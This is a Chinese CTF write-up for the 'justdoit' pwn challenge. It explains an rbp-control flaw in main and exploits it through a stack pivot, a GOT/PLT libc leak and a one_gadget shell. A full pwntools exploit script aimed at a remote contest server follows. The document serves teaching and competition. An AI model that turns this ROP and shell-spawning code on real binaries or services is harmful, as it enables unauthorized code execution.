第一届东软杯pwn-justdoit
一直等着比赛第二天有pwn题续命,可惜,下次比赛目标pwn题拉满!
ida分析通过伪函数分析发生没有什么漏洞,也没看到malloc、free、new关键字,那么一定是栈题、函数中也没发现缓冲区溢出,那么就找程序中一些奇奇怪怪的代码配合汇编一起看。
最后在main汇编代码里面发现了这个
加上测试程序时报了段错误
那么程序漏洞利用点必是这里无疑,既然rbp的值可以控制,因为rbp与程序执行流密切相关,那么我输入一个地址将rbp置于它的上方即可达到劫持执行流。因为程序没有后门,嗯,保护措施如下:
思路:可用got表劫持,libc泄漏
ok,name后面的buf可以输入执行地址,frends后面的buf可以改变执行流,以下简称buf1、buf2.
buf1只能输入0x18那么刚好就是3个地址,64位中ROP泄漏libc就是 pop_rdi + @got + @plt + ret_addr,即可leak,那么很明显这里放不下,那么就需要拆分执行。
call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP
这题我们调整rep的值指向rsp,那么它会将rsp的下一条指令pop ip,那么此时rbp也会指向rsp的值经过leave后会将这个值保存至rbp寄存器,此时程序误以为回到了调用者函数,然后又会重用之前的rbp,嗯,ok
payload:
sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数 那么rbp = main ,ret = main
sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))
程序先执行一遍main函数并把main函数地址保存至rbp,然后执行got表泄漏后执行rbp的值,那么程序就又回到了main。
ok,这一次直接getshell
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
sa('name?',p64(base+one[0]))
sa('frends??',str(-0x28))#指向ROP链的前一个
it()
完整exp:
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')
binary = "./justdoit"
global p
local = 0
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("47.106.172.144","65004")
e = ELF(binary)
libc = ELF('libc-2.23.so')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
#start
puts_plt = e.plt['puts']
puts_got = e.got['puts']
prdi = 0x00000000004012b3
main = 0x4011d5
sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数 那么rbp = main ,ret = main
sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
sa('name?',p64(base+one[0]))
sa('frends??',str(-0x28))
it()